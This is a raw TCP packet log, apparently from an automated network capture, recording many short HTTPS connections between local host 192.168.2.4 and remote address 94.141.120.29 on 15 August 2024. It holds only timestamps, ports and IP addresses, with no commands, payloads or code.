Aug 15, 2024 08:10:31.495364904 CEST	443	50076	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.502151966 CEST	50077	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.502166033 CEST	443	50077	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.502214909 CEST	50077	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.520226002 CEST	50077	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.520239115 CEST	443	50077	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.520478010 CEST	443	50077	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.527462006 CEST	50078	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.527472973 CEST	443	50078	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.527565956 CEST	50078	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.546766996 CEST	50078	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.546780109 CEST	443	50078	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.547035933 CEST	443	50078	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.555593967 CEST	50079	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.555613041 CEST	443	50079	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.555675983 CEST	50079	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.578960896 CEST	50079	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.578973055 CEST	443	50079	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.579134941 CEST	443	50079	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.588242054 CEST	50080	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.588321924 CEST	443	50080	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.588409901 CEST	50080	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.605662107 CEST	50080	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.605736971 CEST	443	50080	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.605973005 CEST	443	50080	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.620206118 CEST	50081	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.620285988 CEST	443	50081	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.620367050 CEST	50081	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.636738062 CEST	50081	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.636822939 CEST	443	50081	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.637058973 CEST	443	50081	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.649869919 CEST	50082	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.649971008 CEST	443	50082	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.650074005 CEST	50082	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.682732105 CEST	50082	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.682811022 CEST	443	50082	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.683041096 CEST	443	50082	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.690663099 CEST	50083	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.690741062 CEST	443	50083	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.690943956 CEST	50083	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.712245941 CEST	50083	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.712316990 CEST	443	50083	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.712589025 CEST	443	50083	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.718738079 CEST	50084	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.718826056 CEST	443	50084	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.718929052 CEST	50084	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.806341887 CEST	50084	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.806411028 CEST	443	50084	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.806502104 CEST	443	50084	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.814610958 CEST	50085	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.814688921 CEST	443	50085	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.814790964 CEST	50085	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.830991983 CEST	50085	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.831067085 CEST	443	50085	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.831288099 CEST	443	50085	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.836508989 CEST	50086	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.836589098 CEST	443	50086	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.836662054 CEST	50086	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.848043919 CEST	50086	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.848119020 CEST	443	50086	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.848226070 CEST	443	50086	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.852844954 CEST	50087	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.852946997 CEST	443	50087	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.853038073 CEST	50087	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.863682985 CEST	50087	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.863755941 CEST	443	50087	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.863858938 CEST	443	50087	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.868515968 CEST	50088	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.868596077 CEST	443	50088	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.868679047 CEST	50088	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.877363920 CEST	50088	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.877469063 CEST	443	50088	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.877684116 CEST	443	50088	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.881937981 CEST	50089	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.882016897 CEST	443	50089	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.882129908 CEST	50089	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.890703917 CEST	50089	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.890778065 CEST	443	50089	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.890963078 CEST	443	50089	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.896080971 CEST	50090	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.896161079 CEST	443	50090	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.896235943 CEST	50090	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.904782057 CEST	50090	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.904850960 CEST	443	50090	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.905100107 CEST	443	50090	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.910131931 CEST	50091	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.910212994 CEST	443	50091	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.910298109 CEST	50091	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.920094013 CEST	50091	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.920162916 CEST	443	50091	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.920257092 CEST	443	50091	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.925193071 CEST	50092	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.925271034 CEST	443	50092	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.925352097 CEST	50092	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.934990883 CEST	50092	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.935060978 CEST	443	50092	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.935262918 CEST	443	50092	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.939682007 CEST	50093	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.939768076 CEST	443	50093	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.939826012 CEST	50093	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.949446917 CEST	50093	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.949517012 CEST	443	50093	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.949634075 CEST	443	50093	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.953861952 CEST	50094	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.953939915 CEST	443	50094	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.954019070 CEST	50094	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.965409040 CEST	50094	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.965471983 CEST	443	50094	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.965574980 CEST	443	50094	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.970124960 CEST	50095	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.970205069 CEST	443	50095	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.970305920 CEST	50095	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.979693890 CEST	50095	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.979758024 CEST	443	50095	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.979873896 CEST	443	50095	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.984407902 CEST	50096	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.984488964 CEST	443	50096	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.985049963 CEST	50096	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.998426914 CEST	50096	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:31.998502970 CEST	443	50096	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:31.998622894 CEST	443	50096	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.006742954 CEST	50097	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.006823063 CEST	443	50097	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.007132053 CEST	50097	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.024260998 CEST	50097	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.024342060 CEST	443	50097	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.024574995 CEST	443	50097	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.029270887 CEST	50098	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.029349089 CEST	443	50098	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.029445887 CEST	50098	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.040102959 CEST	50098	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.040173054 CEST	443	50098	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.040410995 CEST	443	50098	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.044907093 CEST	50099	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.044985056 CEST	443	50099	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.045269012 CEST	50099	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.056942940 CEST	50099	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.057073116 CEST	443	50099	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.057168007 CEST	443	50099	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.062652111 CEST	50100	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.062731028 CEST	443	50100	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.062856913 CEST	50100	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.075361013 CEST	50100	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.075428009 CEST	443	50100	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.075521946 CEST	443	50100	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.081294060 CEST	50101	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.081373930 CEST	443	50101	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.081460953 CEST	50101	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.093532085 CEST	50101	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.093605995 CEST	443	50101	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.093880892 CEST	443	50101	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.103424072 CEST	50102	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.103535891 CEST	443	50102	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.103599072 CEST	50102	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.116118908 CEST	50102	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.116228104 CEST	443	50102	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.116432905 CEST	443	50102	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.121922970 CEST	50103	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.122000933 CEST	443	50103	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.122060061 CEST	50103	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.137474060 CEST	50103	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.137545109 CEST	443	50103	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.137780905 CEST	443	50103	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.142144918 CEST	50104	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.142224073 CEST	443	50104	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.142565966 CEST	50104	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.157345057 CEST	50104	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.157419920 CEST	443	50104	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.157674074 CEST	443	50104	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.161844969 CEST	50105	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.161923885 CEST	443	50105	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.162054062 CEST	50105	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.169821024 CEST	50105	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.169887066 CEST	443	50105	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.170027018 CEST	443	50105	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.177346945 CEST	50106	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.177423954 CEST	443	50106	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.177879095 CEST	50106	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.189450026 CEST	50106	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.189523935 CEST	443	50106	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.189788103 CEST	443	50106	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.197444916 CEST	50107	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.197524071 CEST	443	50107	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.197860956 CEST	50107	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.209366083 CEST	50107	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.209439993 CEST	443	50107	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.209778070 CEST	443	50107	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.214416981 CEST	50108	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.214493990 CEST	443	50108	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.214606047 CEST	50108	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.225495100 CEST	50108	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.225560904 CEST	443	50108	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.225723028 CEST	443	50108	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.233437061 CEST	50109	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.233515024 CEST	443	50109	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.233869076 CEST	50109	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.242305040 CEST	50109	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.242378950 CEST	443	50109	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.242608070 CEST	443	50109	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.247148037 CEST	50110	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.247227907 CEST	443	50110	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.247628927 CEST	50110	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.256299973 CEST	50110	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.256376982 CEST	443	50110	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.256530046 CEST	443	50110	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.261073112 CEST	50111	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.261149883 CEST	443	50111	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.261508942 CEST	50111	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.273458958 CEST	50111	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.273535013 CEST	443	50111	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.273768902 CEST	443	50111	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.277899027 CEST	50112	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.277934074 CEST	443	50112	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.278367996 CEST	50112	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.289386988 CEST	50112	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:32.289397955 CEST	443	50112	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:32.289707899 CEST	443	50112	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.311645031 CEST	50113	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.311690092 CEST	443	50113	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.311949968 CEST	50113	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.322048903 CEST	50113	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.322066069 CEST	443	50113	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.322360039 CEST	443	50113	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.329336882 CEST	50114	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.329344988 CEST	443	50114	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.329461098 CEST	50114	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.341336012 CEST	50114	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.341346025 CEST	443	50114	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.341588974 CEST	443	50114	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.349407911 CEST	50115	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.349437952 CEST	443	50115	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.349661112 CEST	50115	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.361356974 CEST	50115	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.361368895 CEST	443	50115	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.361690044 CEST	443	50115	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.365993023 CEST	50116	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.366000891 CEST	443	50116	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.366194963 CEST	50116	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.375093937 CEST	50116	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.375103951 CEST	443	50116	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.375407934 CEST	443	50116	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.380661011 CEST	50117	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.380680084 CEST	443	50117	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.380903959 CEST	50117	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.393373013 CEST	50117	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.393383026 CEST	443	50117	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.393572092 CEST	443	50117	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.405360937 CEST	50118	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.405370951 CEST	443	50118	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.405430079 CEST	50118	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.421349049 CEST	50118	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.421356916 CEST	443	50118	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.421535969 CEST	443	50118	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.427658081 CEST	50119	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.427669048 CEST	443	50119	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.427779913 CEST	50119	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.437901974 CEST	50119	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.437911987 CEST	443	50119	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.438033104 CEST	443	50119	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.446022034 CEST	50120	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.446029902 CEST	443	50120	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.446424007 CEST	50120	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.461345911 CEST	50120	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.461354017 CEST	443	50120	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.461486101 CEST	443	50120	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.466378927 CEST	50121	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.466403008 CEST	443	50121	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.466582060 CEST	50121	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.476876974 CEST	50121	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.476897001 CEST	443	50121	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.477142096 CEST	443	50121	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.482649088 CEST	50122	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.482666969 CEST	443	50122	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.482883930 CEST	50122	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.492156982 CEST	50122	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.492175102 CEST	443	50122	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.492429972 CEST	443	50122	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.496907949 CEST	50123	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.496920109 CEST	443	50123	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.497126102 CEST	50123	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.534802914 CEST	50123	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.534827948 CEST	443	50123	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.535062075 CEST	443	50123	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.540946007 CEST	50124	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.540986061 CEST	443	50124	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.541435003 CEST	50124	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.553060055 CEST	50124	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.553076982 CEST	443	50124	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.553203106 CEST	443	50124	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.558013916 CEST	50125	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.558033943 CEST	443	50125	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.558106899 CEST	50125	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.568731070 CEST	50125	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.568742037 CEST	443	50125	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.568983078 CEST	443	50125	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.573280096 CEST	50126	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.573287964 CEST	443	50126	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.573389053 CEST	50126	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.583091974 CEST	50126	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.583101988 CEST	443	50126	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.583381891 CEST	443	50126	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.588578939 CEST	50127	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.588598967 CEST	443	50127	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.588740110 CEST	50127	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.599914074 CEST	50127	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.599931002 CEST	443	50127	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.600205898 CEST	443	50127	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.605338097 CEST	50128	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.605371952 CEST	443	50128	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.605478048 CEST	50128	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.619457006 CEST	50128	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.619469881 CEST	443	50128	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.619744062 CEST	443	50128	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.624500036 CEST	50129	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.624533892 CEST	443	50129	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.624644995 CEST	50129	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.635169983 CEST	50129	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.635184050 CEST	443	50129	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.635452032 CEST	443	50129	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.640824080 CEST	50130	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.640834093 CEST	443	50130	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.641480923 CEST	50130	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.651469946 CEST	50130	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.651480913 CEST	443	50130	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.651626110 CEST	443	50130	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.656956911 CEST	50131	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.656968117 CEST	443	50131	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.657082081 CEST	50131	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.671766996 CEST	50131	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.671775103 CEST	443	50131	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.671885967 CEST	443	50131	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.679440975 CEST	50132	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.679450035 CEST	443	50132	94.141.120.29	192.168.2.4
